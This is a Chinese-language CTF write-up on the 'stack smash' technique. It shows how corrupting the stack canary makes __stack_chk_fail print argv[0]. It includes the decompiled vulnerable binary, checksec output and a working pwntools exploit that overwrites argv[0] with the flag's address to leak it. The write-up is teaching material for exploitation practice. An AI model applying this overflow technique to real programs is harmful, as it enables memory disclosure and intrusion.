Stack smash
在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail
函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。其代码如下:
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在 __fortify_fail 函数中就会输出我们想要的信息。
file
file xpl
xpl: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=1856a84cc2663caa91e1511a2f0691652201fb95, not stripped
chechsec
>>> from pwn import *
>>> print ELF('xpl').checksec()
[*] '/root/sploitfun/pre-ctf-2015/xpl'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
ida打开binary,发现read函数存在栈溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax@1
int result; // eax@4
__int64 v5; // rcx@4
__int64 v6; // [sp+18h] [bp-118h]@1
char v7; // [sp+20h] [bp-110h]@2
char v8; // [sp+A0h] [bp-90h]@2
__int64 v9; // [sp+128h] [bp-8h]@1
v9 = *MK_FP(__FS__, 40LL);
putenv("LIBC_FATAL_STDERR_=1", argv, envp);
LODWORD(v3) = fopen64("flag.txt", "r");
v6 = v3;
if ( v3 )
{
fgets(&v7, 32LL, v3); //读取32个字节到v7中
fclose(v6);
printf((__int64)"Interesting data loaded at %p\nYour username? ", &v7, argv); //读取的内容在这里
fflush(0LL, &v7);
read(0LL, &v8, 1024LL); //这里存在明显的栈溢出
}
else
{
puts("Error leyendo datos");
}
result = 0;
v5 = *MK_FP(__FS__, 40LL) ^ v9;
return result;
}
一般存到EBP - 0x4(32位)或RBP - 0x8(64位)的位置,也就是ebp\rbp的上一个位置.如果攻击者利用栈溢出修改到了这个值,导致该值与存入的值不一致,__stack_chk_fail()函数将抛出异常并退出程序。
最终的exp
from pwn import *
sh = process("./xpl")
addr = int(sh.recvline().split()[4], 16) #这个地址就是flag.txt内容地址
payload = "A" * 376+p64(addr) #这个就是盖掉了main()函数中第0个参数(就是文件名称)
sh.sendline(payload)
result = sh.recvall() ##canary检测到了异常,__stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串
print result
最终的结果
python exp.py
[+] Starting local process './xpl': pid 5667
[+] Receiving all data: Done (72B)
[*] Process './xpl' stopped with exit code -6 (SIGABRT) (pid 5667)
Your username? *** stack smashing detected ***: thisismorty